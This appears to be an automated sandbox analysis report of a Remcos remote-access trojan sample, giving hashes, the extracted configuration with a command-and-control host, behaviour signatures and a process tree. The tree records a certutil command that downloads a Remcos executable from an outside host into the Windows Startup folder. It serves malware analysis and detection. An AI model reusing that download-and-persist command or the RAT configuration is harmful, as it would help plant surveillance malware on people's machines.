remcos | ce725389bc4ffd7fbe0b28ad72c38f64bbd751664c81171d982d5a9d484029c0

Analysis

max time kernel
0s
max time network
148s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
06/01/2024, 09:54

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General

Target

45ee62b5a9674f830fa205308be5a0cf.exe
Size

1.1MB
MD5

45ee62b5a9674f830fa205308be5a0cf
SHA1

55b3719232d693ba9791fb3062b03adb4e35a808
SHA256

ce725389bc4ffd7fbe0b28ad72c38f64bbd751664c81171d982d5a9d484029c0
SHA512

47076eadafa4758d061f8485b342371f018da7f8b79266f3cf6a1717a36c32466f25ad3a10bdb98925f1f42a9e40809b3c906e39d4d96d7c2b1235a3363a25da
SSDEEP

24576:h/CNBKOsWsN6640tJn5mTBQGktmHa2nMviVD5ucpzdwx:yKOaBfIBQG6Ya2nwifucxdq

Score

10^/10

remcos remote%host rat

Malware Config

Extracted

Family

remcos

Version

2.4.5 Pro

Botnet

Remote%Host

www.rmagent.biz:7181

Attributes

audio_folder
MicRecords
audio_path
%AppData%
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
vbs.server.exe
copy_folder
vbs.server
delete_file
true
hide_file
true
hide_keylog_file
false
install_flag
false
install_path
%AppData%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
keylog_path
%AppData%
mouse_option
false
mutex
Remcos-00GA1C
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
vbs.server
take_screenshot_option
false
take_screenshot_time
5
take_screenshot_title
wikipedia;solitaire;

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2028	45ee62b5a9674f830fa205308be5a0cf.exe
2028	45ee62b5a9674f830fa205308be5a0cf.exe
2028	45ee62b5a9674f830fa205308be5a0cf.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2028	45ee62b5a9674f830fa205308be5a0cf.exe
2028	45ee62b5a9674f830fa205308be5a0cf.exe
2028	45ee62b5a9674f830fa205308be5a0cf.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2028 wrote to memory of 2092	2028	45ee62b5a9674f830fa205308be5a0cf.exe	20
PID 2028 wrote to memory of 2092	2028	45ee62b5a9674f830fa205308be5a0cf.exe	20
PID 2028 wrote to memory of 2092	2028	45ee62b5a9674f830fa205308be5a0cf.exe	20
PID 2028 wrote to memory of 2092	2028	45ee62b5a9674f830fa205308be5a0cf.exe	20
PID 2092 wrote to memory of 2796	2092	cmd.exe	18
PID 2092 wrote to memory of 2796	2092	cmd.exe	18
PID 2092 wrote to memory of 2796	2092	cmd.exe	18
PID 2092 wrote to memory of 2796	2092	cmd.exe	18

C:\Users\Admin\AppData\Local\Temp\45ee62b5a9674f830fa205308be5a0cf.exe
"C:\Users\Admin\AppData\Local\Temp\45ee62b5a9674f830fa205308be5a0cf.exe"
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2028
- C:\Users\Admin\AppData\Local\Temp\45ee62b5a9674f830fa205308be5a0cf.exe
  "C:\Users\Admin\AppData\Local\Temp\45ee62b5a9674f830fa205308be5a0cf.exe"
  2⤵
  PID:2612
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\startup.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2092

C:\Windows\SysWOW64\certutil.exe
certutil.exe -urlcache -split -f "http://al-sharqgroup.com/remcos_agent.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yourfile.exe"
1⤵
PID:2796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2028-20-0x00000000003E0000-0x00000000003E1000-memory.dmp

Filesize
4KB

Download
memory/2612-19-0x00000000000C0000-0x00000000000E0000-memory.dmp

Filesize
128KB

Download
memory/2612-33-0x00000000000C0000-0x00000000000E0000-memory.dmp

Filesize
128KB

Download
memory/2612-32-0x00000000000C0000-0x00000000000E0000-memory.dmp

Filesize
128KB

Download
memory/2612-30-0x00000000000C0000-0x00000000000E0000-memory.dmp

Filesize
128KB

Download
memory/2612-29-0x00000000000C0000-0x00000000000E0000-memory.dmp

Filesize
128KB

Download
memory/2612-26-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

Filesize
4KB

Download
memory/2612-17-0x00000000000C0000-0x00000000000E0000-memory.dmp

Filesize
128KB

Download